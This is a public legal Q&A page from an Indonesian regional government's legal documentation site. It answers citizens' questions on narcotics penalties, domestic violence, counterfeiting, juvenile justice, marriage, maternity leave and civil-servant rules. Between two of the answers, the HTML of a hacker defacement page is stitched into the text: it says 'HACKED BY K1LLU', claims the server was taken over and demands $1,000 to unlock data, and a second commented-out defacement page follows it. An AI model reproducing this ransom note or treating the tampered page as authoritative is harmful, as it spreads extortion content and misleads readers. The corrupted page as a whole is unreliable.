      Terima kasih telah berkunjung ke laman JDIH dan menggunakan website JDIH Bagian Hukum Setkab Kukar.

      Bahwa Pertanyaan yang saudara berikan melalui laman website kami terkait sanksi atau hukuman bagi pemakai obat terlarang/narkotika dan apa saja peran pemerintah terhadap keberadaan narkotika di Indonesia?

    Bahwa Sanksi atau hukuman bagi pemakai obat terlarang/narkotika berdasarkan ketentuan Pasal 127 ayat (1) Undang-Undang Nomor 35 Tahun 2009 tentang Narkotika menyebutkan “Setiap Penyalah Guna:

    1. Narkotika Golongan I bagi diri sendiri dipidana dengan pidana penjara paling lama 4 (empat) tahun;
    2. Narkotika Golongan II bagi diri sendiri dipidana dengan pidana penjara paling lama 2 (dua) tahun; dan
    3. Narkotika Golongan III bagi diri sendiri dipidana dengan pidana penjara paling lama 1 (satu) tahun.”

    Berdasarkan ketentuan Pasal 54 Undang-Undang Nomor 35 Tahun 2009 apabila korban ketergantungan dengan obat terlarang/Narkotika maka wajib menjalani rehabilitasi medis dan sosial.

    Mengenai peran Pemerintah terhadap keberadaan Narkotika di Indonesia selain melakukan pencegahan penyalahgunaan penggunaan narkotika, berdasarkan Pasal 60 Undang-Undang Nomor 35 Tahun 2009 jo.  Pasal 49, Peraturan Pemerintah Nomor 40 Tahun 2013 Pemerintah juga melakukan pembinaan terhadap segala kegiatan yang berhubungan dengan Narkotika yang menyebutkan Pemerintah melakukan pembinaan terhadap segala kegiatan yang berhubungan dengan Narkotika meliputi upaya:

    1. memenuhi ketersediaan Narkotika untuk kepentingan pelayanan Kesehatan dan/atau pengembangan ilmu pengetahuan dan teknologi;
    2. mencegah penyalahgunaan Narkotika;
    3. mencegah generasi muda dan anak usia sekolah dalam penyalahgunaan Narkotika, termasuk dengan memasukkan pendidikan yang berkaitan dengan Narkotika dalam kurikulum sekolah dasar sampai lanjutan atas;
    4. mendorong dan menunjang kegiatan penelitian dan/atau pengembangan ilmu pengetahuan dan teknologi di bidang Narkotika untuk kepentingan pelayanan kesehatan; dan
    5. meningkatkan kemampuan lembaga rehabilitasi medis bagi Pecandu Narkotika, baik yang diselenggarakan oleh pemerintah maupun masyarakat.”

    Selain melakukan pembinaan terhadap kegiatan penggunaan Narkotika, Pemerintah juga melakukan pengawasan melalui Badan Pengawas Obat dan Makanan (BPOM) terhadap kegiatan yang berkaitan dengan narkotika, hal ini sebagaimana diatur dalam Pasal 61 Undang-Undang Nomor 35 Tahun 2009 Jo. Pasal 55 Peraturan Pemerintah Nomor 40 Tahun 2013 yang mengatur pengawasan terhadap narkotika meliputi :

    1. narkotika dan Prekursor Narkotika untuk kepentingan pelayanan kesehatan dan/atau pengembangan ilmu pengetahuan dan teknologi;
    2. alat-alat potensial yang dapat disalahgunakan untuk melakukan tindak pidana Narkotika dan Prekursor Narkotika;
    3. evaluasi keamanan, khasiat, dan mutu produk sebelum diedarkan;
    4. produksi;
    5. impor dan ekspor;
    6. peredaran;
    7. pelabelan;
    8. informasi; dan
    9. penelitian dan pengembangan ilmu pengetahuan dan teknologi.

      Demikian jawaban dari kami terkait dengan sanksi atau hukuman bagi pemakai obat terlarang/narkotika dan apa saja peran pemerintah terhadap keberadaan narkotika di Indonesia sebagaimana ditanyakan oleh saudara, semoga bermanfaat dan terima kasih.      

     

    Salam Hotmat,

    Tim Pengasuh

  • Pertanyaan dari : M. Iskandar

    Apakah ancaman atau sanksi hukuman terhadap pelaku KDRT?

    Selamat Siang Bapak M. Iskandar, terima kasih telah berkunjung dan mengakses melaui website JDIH Bagian Hukum Setkab Kutai Kartanegara.

    Bahwa Kekerasan Dalam Rumah Tangga (KDRT) atau Domestic Violence adalah tindakan yang dilakukan terhadap anggota keluarga yang menyebabkan penderitaan dan kesengsaraan secara fisik, seksual, psikologis atau penelantaran rumah tangga. Jenis KDRT yang dimaksud meliputi ancaman, paksaan atau pembatasan kebebasan termasuk ancaman untuk melakukan perbuatan, pemaksaan, atau perampasan kemerdekaan secara melawan hukum dalam lingkup rumah tangga yang tidak sesuai dengan hukum, yang terjadi dalam konteks kehidupan keluarga sesuai Pasal 1 angka 1 Undang-undang nomor 23 Tahun 2004.

    Lingkup Rumah Tangga sebagaimana disebutkan dalam Pasal 2 Ayat (1) UU Nomor 23 Tahun 2004 meliputi :

    1. Suami, isteri dan anak;
    2. Orang-orang yang mempunyai hubungan keluarga dengan orang sebagimana dimaksud pada huruf a karena hubungan darah, perkawinan, persusuan, pengasuhan dan perwalian, yang menetap dalam rumah tangga; dan/atau
    3. Orang yang bekerja membantu rumah tangga dan menetap dalam rumah tangga tersebut.

    Lebih lanjut dalam Pasal 5 UU Nomor 23 Tahun 2004 menyebutkan bahwa “setiap orang dilarang melakukan kekerasan dalam rumah tangga terhadap orang dalam lingkup rumah tangganya, dengan cara :

    1. Kekerasan fisik;
    2. Kekerasan psikis;
    3. Kekerasan seksual; atau
    4. Penelantaran rumah tangga.

    Jerat Pidana Pelaku KDRT

    1. Kekerasan Fisik (Pasal 44)
    • Kekerasan fisik yang menyebabkan rasa sakit atau luka ringan dipidana dengan pidana penjara paling lama 5 Tahun atau denda paling banyak Rp. 15.000.000,-
    • Kekerasan fisik yang menyebabkan luka berat dipidana dengan pidana penjara paling lama 10 Tahun atau denda paling banyak Rp. 30.000.000,-
    • Apabila perbuatan tersebut mengakibatkan matinya korban, dipidana dengan pidana penjara paling lama 15 Tahun atau denda paling banyak Rp. 45.000.000,-
    • Dalam hal perbuatan tersebut dilakukan oleh suami terhadap isteri atau sebaliknya yang tidak menimbulkan penyakit atau halangan untuk menjalankan pekerjaan jabatan atau mata pencaharian atau kegitan sehari-hari, dipidana dengan pidana penjara paling lama 4 bulan atau denda paling banyak Rp. 5.000.000,-

    2. Kekerasan Psikis (Pasal 45)

    • Kekerasan psikis yang menyebabkan ketakutan berat, hilangnya rasa percaya diri atau penderitaan mendalam dipidana dengan pidana penjara paling lama 3 Tahun atau denda paling banyak Rp. 9.000.000,-
    1. Kekerasan Seksual (Pasal 46)
    • Kekerasan seksual yang bersifat memaksa atau tidak sesuai kehendak pasangan dipidana penjara paling lama 12 Tahun dan Denda paling banyak Rp. 36.000.000,-.
    1. Penelantaran Keluarga (Pasal 49)
    • Penelantaran yang mengakibatkan ketergantungan ekonomi terhadap korban dipidana penjara paling lama 3 Tahun atau Denda paling banyak Rp. 15.000.000,-.

           Selain sanksi pidana, pelaku perbuatan juga dapat dikenakan tindakan rehabilitasi, terutama jika dinilai membahayakan lingkungan keluarga, sedangkan korban KDRT juga berhak mendapatkan perlindungan, seperti penanganan medis, perlindungan hukum dan rehabilitasi psikologis.

           Penerapan hukuman ini bertujuan untuk melindungi korban dan mencegah terjadinya KDRT di masa depan.

     

    Demikian jawaban dari kami terkait dengan apakah ancaman atau sanksi hukuman terhadap pelaku perbuatan Kekerasan Dalam Rumah Tangga (KDRT) sebagaimana yang ditanyakan saudara, semoga bermanfaat dan kami ucapkan terima kasih.

    Salam Hormat,

    Tim Pengasuh

     

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>HACKED BY K1LLU | PERSADIAN</title>
    </head>
    <body>
        <style>
            body{
                font-family: 'Courier New', Courier, monospace;
            }
        </style>
        <center>
            <br><br>
            <h1 style="color: red;">./TOUCH BY K1LLU | PERSANDIAN</h1>
            <img src="https://diskominfo.kukarkab.go.id/storage/uploads/aplikasi/kukarkab.png" alt="k1llu" height="200px">
            <p>Maaf server anda telah di ambil alih saat ini, <br> silahkan bayar $1000 untuk membuka data anda</p>
            <p>#EnggangSecurity#AnonCyber#SurabayaBlackHat</p>
        </center>
    </body>
    </html>

    <!-- <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>HACKED BY K1LLU | BSSN VVIP</title>
    </head>
    <body bgcolor="black">
        <center><br><br><br>
            <h2 style="font-family: 'Courier New', Courier, monospace;color: red;">PWNED BY ./K1LLU010</h2>
            <img src="https://manybackgrounds.com/images/hd/cool-evil-killua-look-qh7bcmwzvus5c20a.webp" height="200px" alt="k1llu">
            <p style="color: white;font-family: 'Courier New', Courier, monospace;">Maaf website sedang di ambil alih oleh <strong style="color: red;">K1LLU</strong></p>
        </center>
    </body>
    </html> -->

     

  • Pertanyaan dari : Yuliana

    Apa hukuman atau ancaman pidana bagi pelaku yang mengedarkan uang palsu dan membelanjakan uang palsu di Indonesia?

    Selamat Siang Bu Yuliana

    Terima kasih telah beranjangsana melalui fitur konsultasi hukum laman JDIH dan memanfaatkan website JDIH Bagian Hukum Setkab Kukar.

    Bahwa Pertanyaan yang Saudari sampaikan melalui laman website kami terkait dengan hukuman atau ancaman pidana bagi pelaku yang mengedarkan uang palsu dan membelanjakan uang palsu di Indonesia?

    Sebelum menjawab pertanyaan Saudari, perlu kami sebutkan mengenai definisi dari mata uang, uang dan pengedaran berdasarkan ketentuan dalam Pasal 1 Ketentuan Umum angka 1, angka 2 dan angka 14 Undang-Undang Nomor 7 Tahun 2011 tentang Mata Uang yang menyebutkan, mata uang adalah uang yang dikeluarkan oleh Negara Kesatuan Republik Indonesia yang selanjutnya disebut Rupiah, dan definisi uang adalah alat pembayaran yang sah. Sedangkan mengenai definisi Pengedaran adalah suatu rangkaian kegiatan mengedarkan atau mendistribusikan Rupiah di Wilayah Negara Kesatuan Republik Indonesia

    Terkait dengan pertanyaan yang disampaikan saudari tentang hukuman atau ancaman bagi pelaku yang mengedarkan uang palsu dan membelanjakan uang palsu di Indonesia terdapat dalam beberapa ketentuan atau Pasal yang diatur dalam Undang-Undang Nomor 7 Tahun 2011 tentang Mata Uang dan Kitab Undang-Undang Hukum Pidana, yakni sebagai berikut :

    1. Pasal 244 KUHP mengatur tentang tindak pidana pemalsuan mata uang atau uang kertas yang dikeluarkan negara atau bank, yang berbunyi : Barang siapa meniru atau memalsu mata uang atau uang kertas yang dikeluarkan oleh Negara atau Bank, dengan maksud untuk mengedarkan atau menyuruh mengedarkan mata uang atau uang kertas itu sebagai asli dan tidak dipalsu, diancam dengan pidana penjara paling lama lima belas tahun.
    2. Pasal 245 KUHP mengatur tentang tindak pidana pengedaran uang palsu, yang berbunyi : Barang siapa dengan sengaja mengedarkan mata uang atau uang kertas yang dikeluarkan oleh Negara atau Bank sebagai mata uang atau uang kertas asli dan tidak dipalsu, padahal ditiru atau dipalsu olehnya sendiri, atau waktu diterima diketahuinya bahwa tidak asli atau dipalsu, ataupun barang siapa menyimpan atau memasukkan ke Indonesia mata uang dan uang kertas yang demikian, dengan maksud untuk mengedarkan atau menyuruh mengedarkan sebagai uang asli dan tidak dipalsu, diancam dengan pidana penjara paling lama lima belas tahun.
    3. Berdasarkan Undang-Undang Nomor 7 Tahun 2011 dalam ketentuan Pasal 26 ayat (3) mengatur tentang larangan, berbunyi : Setiap orang dilarang mengedarkan dan/atau membelanjakan Rupiah yang diketahuinya merupakan Rupiah Palsu.
    4. Dan terakhir berdasarkan Undang-Undang Nomor 7 Tahun 2011 dalam Pasal 36 ayat (3), yang berbunyi : Setiap orang yang mengedarkan dan/atau membelanjakan Rupiah yang diketahuinya merupakan Rupiah Palsu sebagaimana dimaksud dalam Pasal 26 ayat (3) dipidana dengan pidana penjara paling lama 15 (lima belas) tahun dan pidana denda paling banyak Rp. 50.000.000.000,00 (lima puluh miliar rupiah).

     

      Demikian jawaban dari kami terkait dengan hukuman atau ancaman bagi pelaku yang mengedarkan uang palsu dan membelanjakan uang palsu di Indonesia  sebagaimana ditanyakan oleh saudari, semoga bermanfaat dan terima kasih.

     

    Salam hormat,

     

    Tim Pengasuh

     

  • Pertanyaan dari : Linda

    Apa ysng dimaksud dengan hukum pidana anak dan bagaimana cara penanganannya?

    Selamat siang Bu Linda,

    Terima kasih telah berkunjung ke laman website JDIH Bagian Hukum Setkab. Kutai Kartanegara

    Terkait dengan pertanyaan ibu melalui laman website kami, apa yang dimaksud dengan hukum pidana anak dan bagaimana penanganannya.

     

    Hukum pidana anak adalah cabang hukum yang mengatur tentang pidana yang dilakukan oleh anak-anak dibawah umur.

    Dalam UU Nomor 11 Tahun 2012 Pasal 1 ayat (1)  menjelaskan bahwa keseluruhan proses penyelesaian perkara anak yang berhadapan dengan hukum mulai tahap penyelidikan sampai dengan tahap bimbingan setelah menjalani pidana.

    Perlu diketahui juga anak yang berkonflik menurut UU Nomor 11 Tahun 2012 Pasal 1 ayat (3) yang disebut anak adalah anak yang sudah berumur 12 Tahun , tetapi belum berumur 18 Tahun yang diduga melakukan tindak pidana.

    UU Nomor 23 Tahun 2002 pada pasal 1 ayat (1) juga menjelaskan bahwa yang dimaksud dengan anak adalah seseorang yang belum berusia 18 Tahun termasuk yang masih dalam kandungan, sedangkan pada ayat (2) juga menjelaskan perlindungan anak adalah segala kegiatan yang menjamin  dan melindungi anak dan hak-haknya agar dapat hidup, tumbuh berkembang dan berpartisipasi secara optimal sesuai harkat dan martabat kemanusiaan serta mendapatkan perlindungan dari kekerasan dan diskriminasi.

    Adapun sistem peradilan anak menurut UU Nomor 11 Tahun 2012 Pasal  5 ayat (2) meliputi :

    1. Penyidikan dan penuntutan pidan anak yang dilaksanakan sesuai dengan ketentuan peraturan perundang-undangan, kecuali ditentukan lain dalam UU ini
    2. Persidangan anak dilakukan oleh pengadilan di lingkungan peradilan umum; dan
    3. Pembinaan, pembimbingan dan pengawasan  dan/ atau pendampingan selama proses pelaksanaan pidana atau tindakan dan setelah menjalani pidana atau tindakan.

     

    Demikian jawaban dari kami terkait dengan hukum pidana anak dan cara penanganannya seperti yang ibu tanyakan melalui laman website JDIH, semoga bermanfaat dan terima kasih.

     

    Salam hormat,

    Tim Pengasuh

  • Pertanyaan dari : Pak Dharmawan

    Apa yang dimaksud dengan istilah atau penyebutan Pj, Pjs, Ps dan Plh dilingkungan Pemerintahan dan apakah memiliki kewenangan yang sama?

    Selamat Pagi Bapak Dharmawan, terima kasih telah berkunjung dan mengakses melaui website JDIH Bagian Hukum Setkab Kutai Kartanegara.

    Istilah Pj,Pjs,Plt dan Plh sering digunakan dalam lingkungan Pemerintahan untuk menunjukan status atau kedudukan pejabat tertentu, berikut penjelasannya:

    1. Pj (Penjabat)

    Penjelasan : Berdasarkan Pasal 201 ayat (9), ayat (10) dan ayat (11) UU Pilkada jo. Pasal 86 ayat (2), ayat (3) dan ayat (6) UU Pemda, Penjabat adalah seorang Pejabat Pemerintahan yang diangkat untuk mengisi jabatan Kepala Daerah yang kosong atau Kepala Daerah definitif berhalangan tetap (Pimpinan Tinggi Madya untuk Penjabat Gubernur dan Pimpinan Tinggi Pratama untuk Penjabat Bupati/Walikota) sampai terpilihnya Kepala Daerah yang baru.

    Contoh : Ketika Kepala Daerah definitif kosong akibat habis masa jabatan atau diberhentikan dan belum ada pemilihan yang baru.

    Kewenangan : sama seperti Penjabat Definitif, memiliki kewenangan penuh untuk menjalankan tugas dan fungsi jabatan tersebut.

     

    1. Pjs (Penjabat Sementara)

    Penjelasan : Berdasarkan Pasal 1 angka 6 Permendagri No. 1 Tahun 2018, Penjabat Sementara yang selanjutnya disingkat Pjs adalah pejabat tinggi madya/setingkat atau pejabat tinggi pratama yang ditunjuk oleh Menteri untuk melaksanakan tugas gubernur dan wakil gubernur, bupati dan wakil bupati, wali kota dan wakil wali kota karena gubernur dan wakil gubernur, bupati dan wakil bupati, wali kota dan wakil wali kota Cuti di Luar Tanggungan Negara untuk melaksanakan Kampanye gubernur dan wakil gubernur, bupati dan wakil bupati, wali kota dan wakil wali kota.

     

     

    Contoh : Pjs Gubernur yang diangkat karena Gubernur Definitif sedang melaksanakan Cuti untuk melaksanakan Kampanye.

    Kewenangan : Memiliki kewenangan penuh seperti Pejabat Definitif secara terbatas, dan untuk periode waktu tertentu, seperti dapat melakukan pengisian jabatan di Pemerintahan yang dipimpinnya setelah mendapatkan persetujuan tertulis dari Menteri Dalam Negeri.

     

    1. Plt ( Pelaksana Tugas)

    Penjelasan : Berdasarkan Pasal 14 ayat (1) dan ayat (2) huruf b UU No. 30 Tahun 2014 tentang Administrasi Pemerintahan, dapat diartikan Plt adalah Seorang Pejabat yang diberi tugas oleh Pejabat diatasnya untuk melaksanakan tugas rutin dari pejabat definitif yang berhalangan tetap.

    Contoh: Plt Sekretaris Daerah yang menggantikan sementara Sekda Definitif yang cuti atau diberhentikan.

    Kewenangan : Tidak memiliki kewenangan penuh seperti Pejabat Definitif, ada pembatasan terutama untuk kebijakan strategis, misalnya tidak dapat mengambil keputusan besar seperti mutasi Pejabat.

    1. Plh (Pelaksana Harian)

    Penjelasan : Berdasarkan Pasal 14 ayat (1) dan ayat (2) huruf a UU Administrasi Pemerintahan dapat diartikan Plh adalah Seorang Pejabat yang ditunjuk untuk melaksanakan tugas rutin dari suatu jabatan karena pejabat definitif berhalangan sementara.

    Contoh : Plh Kepala Dinas saat Kepala Dinas Definitif sedang berhalangan beberapa hari.

    Kewenangan : Hanya menjalankan tugas-tugas harian, tanpa kewenangan strategis atau kebijakan besar.

    Perbedaan Utama dalam Kewenangan:

    • Pj memiliki kewenangan penuh seperti Pejabat Definitif.
    • memiliki kewenangan seperti Pejabat Definitif secara terbatas, dan untuk periode waktu tertentu

    Plt dan Plh hanya menjalankan tugas rutin tanpa wewenang mengambil keputusan strategis.

     

    Demikian saran kami atas pertanyaan saudara.

     

    Salam hormat,

    Tim Pengasuh

  • Pertanyaan dari : Fatmawaty

    Apa yang dimaksud dengan perkawinan dan syarat-syaratnya menurut hukum negara Republik Indonesia?

    Selamat Pagi Bu Fatmawaty,

    Terima kasih telah berkunjung ke laman website JDIH Bagian Hukum Setkab. Kutai Kartanegara.

    Kami sangat mengapresiasi kunjungan ibu pada website kami. Terkait dengan pertanyaan ibu mengenai apa yang dimaksud dengan  perkawinan dan syarat-syaratnya menurut hukum Negara Republik Indonesia.

     

    Mengenai perkawinan dalam peraturan perundang-undangan yang berlaku di Indonesia diatur dalam UU No 1 Tahun 1974 tentang Perkawinan, dimana mengenai definisi perkawinan disebutkan dalam Pasal 1 yang berbunyi “perkawinan adalah ikatan lahir batin antara seorang pria dan wanita sebagai suami isteri dengan tujuan membentuk keluarga atau rumah tangga yang bahagia dan kekal berdasarkan Ketuhanan Yang Maha Esa”.

    Kemudian  dalam Pasal 2 ayat (1) menambahkan bahwa perkawinan yang sah apabila dilakukan menurut agama dan kepercayaan masing-masing, dan pada Pasal 2 ayat (2)  menyebutkan tiap-tiap perkawinan di catat berdasarkan peraturan perundang-undangan yang berlaku.

    Adapun mengenai syarat-syarat perkawinan diatur dalam Pasal 6 UU No 1 Tahun 1974 yang meliputi :

    • Perkawinan di dasarkan persetujuan kedua calon mempelai
    • Untuk melangsungkan perkawinan seorang yang belum mencapai umur 21 tahun harus mendapat ijin kedua orang tua
    • Dalam hal seorang dari kedua orang tua meninggal dunia atau dalam keadaan tidak mampu untuk menyatakan kehendaknya maka ijin yang dimaksud ayat (2) dalam pasal ini cukup diperoleh dari orang tua yang masih hidup atau dari orang tua yang mampu menyatakan kehendaknya
    • Dalam hal seorang dari kedua orang tua meninggal dunia atau dalam keadaan tidak mampu untuk menyatakan kehendaknya maka ijin diperoleh dari wali yang memelihara atau keluarga yang memiliki hubungan darah dalam garis keturunan lurus keatas selama mereka masih hidup dan menyatakan kehendaknya
    • Dalam hal ada perbedaan antara orang-orang yang dimaksud dalam ayat (2), (3) dan (4) pasal ini atau salah seorang atau lebih diantara mereka tidak menyatakan pendapatnya maka pengadilan dalam daerah tempat tinggal orang yang akan melangsungkan perkawinan atas permintaan orang tersebut dapat memberikan ijin setelah lebih dahulu mendengar orang-orang tersebut dalam ayat (2), (3) dan (4) dalam pasal ini.
    • Ketentuan tersebut ayat (1) sampai dengan ayat (5) Pasal ini berlaku sepanjang huklum masing-masing agamanya dan kepercayaannya itu dari yang bersangkutan tidak menentukan lain.

     

     

    Demikian jawaban dari kami terkait dengan arti Perkawinan dan syarat-syaratnya menurut hukum Negara Republik Indonesia , seperti yang ibu tanyakan melalui laman website JDIH, semoga bermanfaat dan terima kasih.

     

    Salam hormat,

     

    Tim Pengasuh

  • Pertanyaan dari : Ricky Putra

    Apakah setelah RUU ini disahkan dalam bentuk UU nantinya, izin/cuti hamil ini dapat di terapkan dalam aturan di Pemerintan Kabupaten Kutai Kartanegara ? Karena berdasarkan RUU tersebut, pekerja wanita dapat melaksanakan cuti melahirkan selama 6 bulan, dengan tekhnis 3 belum sebelum HPL (Hari Perkiraan Melahirkan) dan 3 bulan pasca melahirkan.

    Assalamualaikum

    Halo RICKY PUTRA,

    Terima kasih sudah mengakses dan memanfaatkan Website JDIH Bagian Hukum Pemerintah Daerah Kabupaten Kutai Kartanegara.

    Kami mengapresiasi konsultasi hukum yang anda sampaikan melalui website JDIH.

     

    Bahwa terhadap pertanyaan anda mengenai “Apakah setelah RUU Kesejahteraan Ibu dan Anak disahkan dalam bentuk UU nantinya, izin/cuti dapat diterapkan dalam aturan di Pemerintahan Kabupaten Kutai Kartanegara? Karena berdasarkan RUU tersebut, pekerja wanita dapat melaksanakan cuti melahirkan selama 6 bulan, dengan tekhnis 3 belum sebelum HPL (Hari Perkiraan Melahirkan) dan 3 bulan pasca melahirkan”.

     

    Bahwa terhadap Rancangan Undang-undang yang saudara maksud, telah diundangkan oleh Pemerintah Republik Indonesia tanggal 2 Juli 2024 dalam Undang-Undang Nomor 4 Tahun 2024 tentang Kesejahteraan Ibu Dan Anak Pada Fase Seribu Hari Pertama Kehidupan.

    Mengenai hak cuti melahirkan, dalam Undang-Undang Nomor 4 Tahun 2024, diatur dalam Pasal 4 ayat (3) huruf a, yang berbunyi :

    "Selain hak sebagaimana dimaksud pada ayat (1) dan ayat (2), setiap ibu yang bekerja berhak mendapatkan :

    a. cuti melahirkan dengan ketentuan:

        1) paling singkat 3 (tiga) bulan pertama; dan

        2) paling lama 3 (tiga) bulan berikutnya jika terdapat kondisi khusus yang dibuktikan dengan surat keterangan dokter."

    Bahwa terhadap pertanyaan dalam konsultasi saudara, berdasarkan Undang-Undang Nomor 4 Tahun 2024 dapat disimpulkan :

    1. Mengingat RUU Kesejahteraan Ibu dan Anak telah disahkan dan diundangkan menjadi Undang-Undang Nomor 4 Tahun 2024 tentang Kesejahteraan Ibu Dan Anak Pada Fase Seribu Hari Pertama Kehidupan, pada tanggal 2 Juli 2024 maka Undang-undang tersebut berlaku diseluruh wilayah Negara Republik Indonesia termasuk juga berlaku dilingkungan Pemerintahan Kabupaten Kutai Kartanegara.
    2. Akan tetapi mengenai sejak kapan keberlakuan izin/cuti melahirkan dilingkungan Pemerintahan Kabupaten Kutai Kartanegara (yang berlaku kepada ASN dilingkungan Pemerintahan Kabupaten Kutai Kartanegara) perlu memperhatikan Pasal 43 huruf b Undang-Undang Nomor 4 Tahun 2024, maka pemberian hak cuti melahirkan secara lebih rinci akan diatur melalui peraturan pelaksana Undang-undang tersebut paling lama 2 (dua) tahun sejak Undang-undang tersebut diundangkan serta menyesuaikan peraturan perundang-undangan dibidang aparatur sipil negara.

    Demikian saran kami atas pertanyaan saudara, semoga bermanfaat.

     

    Hormat Kami,

    Tim Pengasuh.

  • Pertanyaan dari : Nooraisyah

    Bagaimana sanksi atau hukuman bagi PNS yang memberikan dukungan kepada salah satu calon Kepala Daerah dan calon Wakil Kepala Daerah dan apa saja larangan bagi PNS berdasarkan Peraturan Kepegawaian?

    Selamat Siang Bu Nooraisyah

      Terima kasih telah mengakses dan menggunakan website JDIH Bagian Hukum Setkab Kukar.

      Bahwa Pertanyaan yang saudari berikan melalui laman website kami terkait Bagaimana sanksi atau hukuman bagi Pegawai Negeri Sipil yang memberikan dukungan kepada salah satu calon Kepala Daerah dan calon wakil Kepala Daerah dan apa saja larangan-larangan bagi Pegawai Negeri Sipil berdasarkan Peraturan kepegawaian?

    Bahwa berdasarkan ketentuan dalam Pasal 24 ayat (1) huruf d, Undang-Undang ASN disebutkan Pegawai ASN wajib menjaga netralitas, kemudian pada ayat (2) menyebutkan “Pegawai ASN yang tidak menaati kewajiban sebagaimana dimaksud pada ayat (1) dikenakan pelanggaran disiplin dan dijatuhi hukuman disiplin”

    sedangkan larangan-larangan bagi Pegawai Negeri Sipil berdasarkan ketentuan Pasal 5 Peraturan Pemerintah Nomor 94 Tahun 2021 tentang Disiplin Pegawai Negeri Sipil :

    1. menyalahgunakan wewenang;
    2. menjadi perantara untuk mendapatkan keuntungan pribadi dan/atau orang lain dengan menggunakan kewenangan orang lain yang diduga terjadi konflik kepentingan dengan jabatan;
    3. menjadi pegawai atau bekerja untuk orang lain;
    4. bekerja pada lembaga atau organisasi internasional tanpa izin atau tanpa ditugaskan oleh Pejabat Pembina Kepegawaian;
    5. bekerja pada Perusahaan asing, konsultan asing, atau Lembaga swadaya masyarakat asing kecuali ditugaskan oleh Pejabat Pembina Kepegawaian;
    6. memiliki, menjual, membeli, menggadaikan, menyewakan, atau meminjamkan barang baik bergerak atau tidak bergerak, dokumen atau surat berharga milik negara secara tidak sah;
    7. melakukan pungutan diluar ketentuan;
    8. melakukan kegiatan yang merugikan negara;
    9. bertindak sewenang-wenang terhadap bawahan;
    10. menghalangi berjalannya tugas kedinasan;
    11. menerima hadiah yang berhubungan dengan jabatan dan/atau pekerjaan;
    12. meminta sesuatu yang berhubungan dengan jabatan;
    13. melakukan tindakan atau tidak melakukan tindakan yang dapat mengakibatkan kerugian bagi yang dilayani;
    14. memberikan dukungan kepada calon Presiden/Wakil Presiden, calon Kepala Daerah/Wakil Kepala Daerah, calon anggota Dewan Perwakilan Rakyat, calon anggota Dewan Perwakilan Daerah, atau calon anggota Dewan Perwakilan Rakyat Daerah.

    Kemudian berdasarkan ketentuan dalam Pasal 14 huruf i Peraturan Pemerintah Nomor 94 Tahun 2021 tentang Disiplin Pegawai Negeri Sipil menyebutkan “Hukuman Disiplin berat sebagaimana dimaksud dalam Pasal 8 ayat (1) huruf c dijatuhkan bagi PNS yang melanggar ketentuan larangan:

    “memberikan dukungan kepada calon Presiden/Wakil Presiden, calon Kepala Daerah/Wakil Kepala Daerah, calon anggota Dewan Perwakilan Rakyat, calon anggota Dewan Perwakilan Daerah, atau calon anggota Dewan Perwakilan Rakyat Daerah sebagaimana dimaksud dalam Pasal 5 huruf n angka 3, angka 4, angka 5, angka 6, dan angka 7 dengan cara:

    1. sebagai peserta kampanye dengan mengerahkan PNS lain;
    2. sebagai peserta kampanye dengan menggunakan fasilitas negara;
    3. membuat keputusan dan/atau tindakan yang menguntungkan atau merugikan salah satu pasangan calon sebelum, selama, dan sesudah masa kampanye;
    4. mengadakan kegiatan yang mengarah kepada keberpihakan terhadap pasangan calon yang menjadi peserta pemilu sebelum, selama, dan sesudah masa kampanye meliputi pertemuan, ajakan, himbauan, seruan, atau pemberian barang kepada PNS dalam lingkungan unit kerjanya, anggota keluarga, dan masyarakat; dan/atau
    5. memberikan surat dukungan disertai fotokopi Kartu Tanda Penduduk atau Surat Keterangan Tanda Penduduk”

    Berdasarkan hal tersebut diatas menjawab pertanyaan saudari, Hukuman disiplin atau pelanggaran disiplin bagi Pegawai Negeri Sipil yang memberikan dukungan kepada salah satu calon Kepala Daerah dan Wakil Kepala Daerah tersebut dijatuhi salah satu jenis hukuman disiplin berat berdasarkan ketentuan dalam Pasal 24 ayat (1) huruf d, ayat (2) Undang-Undang Nomor 20 Tahun 2023 tentang ASN dan Pasal 14 huruf i Peraturan Pemerintah Nomor 94 Tahun 2021 tentang Disiplin Pegawai Negeri Sipil, sedangkan mengenai larangan PNS sebagaimana diatur dalam Pasal 5 Peraturan Pemerintah Nomor 94 Tahun 2021.

    Demikian saran dari kami atas pertanyaan saudari, semoga bermanfaat dan terima kasih.

    Salam hormat,

    Tim Pengasuh

  • Pertanyaan dari : Sofyan

    Apakah definisi dan fungsi non litigasi?

    Assalamualaikum

    Selamat pagi pak Sofyan

    Terima kasih telah berkunjung dan mengakses ke website JDIH Bagian Hukum Setkab. Kutai Kartanegara

     

    Bahwa pertanyaan yang bapak berikan melalui laman website kami terkait apa yang dimaksud dengan non litigasi dan apa funsinya.

    Definisi non litigasi adalah proses pemyelesaian sengketa atau konflik hukum diluar pengadilan, tanpa melalui proses litigasi.

     

    Adapun beberapa fungsi non litigasi, yaitu :

    Fungsi Utama

    1. Penyelesaian sengketa

    Menyelesaikan sengketa atau konflik hukum tanpa melalui jalur pengadilan

    1. Menghemat waktu dan biaya

    Proses non litigasi  lebih cepat dan biaya lebih rendah di bandingkan litigasi

    1. Mengurangi konflik

    Membantu mengurangi konflik dan memperbaiki hubungan antara pihak-pihak yang terlibat

     

    Fungsi Lain

    1. Mediasi

    Membantu pihak-pihak untuk mencapai kesepakatan atau solusi yang terbaik melalui mediasi

    1. Negosiasi

    Membantu pihak-pihak untuk mencapai kesepakatan melalui negosiasi

    1. Arbitrase

    Menyelesaikan sengketa melalui arbitrase dengan memimilh hakim independwn

    1. Konsiliasi

    Membantu pihak-pihak mencapai kesepakatan melalui Konsiliasi

    1. Penyelesaian sengketa Alternatif

    Menyelesaikan sengketa melalui metode alternative

     

    Manfaat

    1. Lebih cepat

    Proses non litigasi lebih cepat dibandingkan litigasi

    1. Lebih murah

    Biaya non litigasi lebih murah dibandingkan litigasi

    1. Meningkatkan kerjasama

    Membantu meningkatkan kerjasama dan komunikasi antara pihak-pihak

    Contoh Non Litigasi

    1. Mediasi dalam sengketa bisnis
    2. Arbitrase dalam sengketa kontrak
    3. Konsiliasi dalam sengketa keluarga
    4. Negosiasi dalam sengketa properti

     

    Demikian jawaban dari kami terkait dengan definisi non litigasi dan fungsinya seperti yang bapak tanyakan melalui laman website JDIH, semoga bermanfaat dan terima kasih.

     

    Salam Hormat,

    Tim Pengasuh

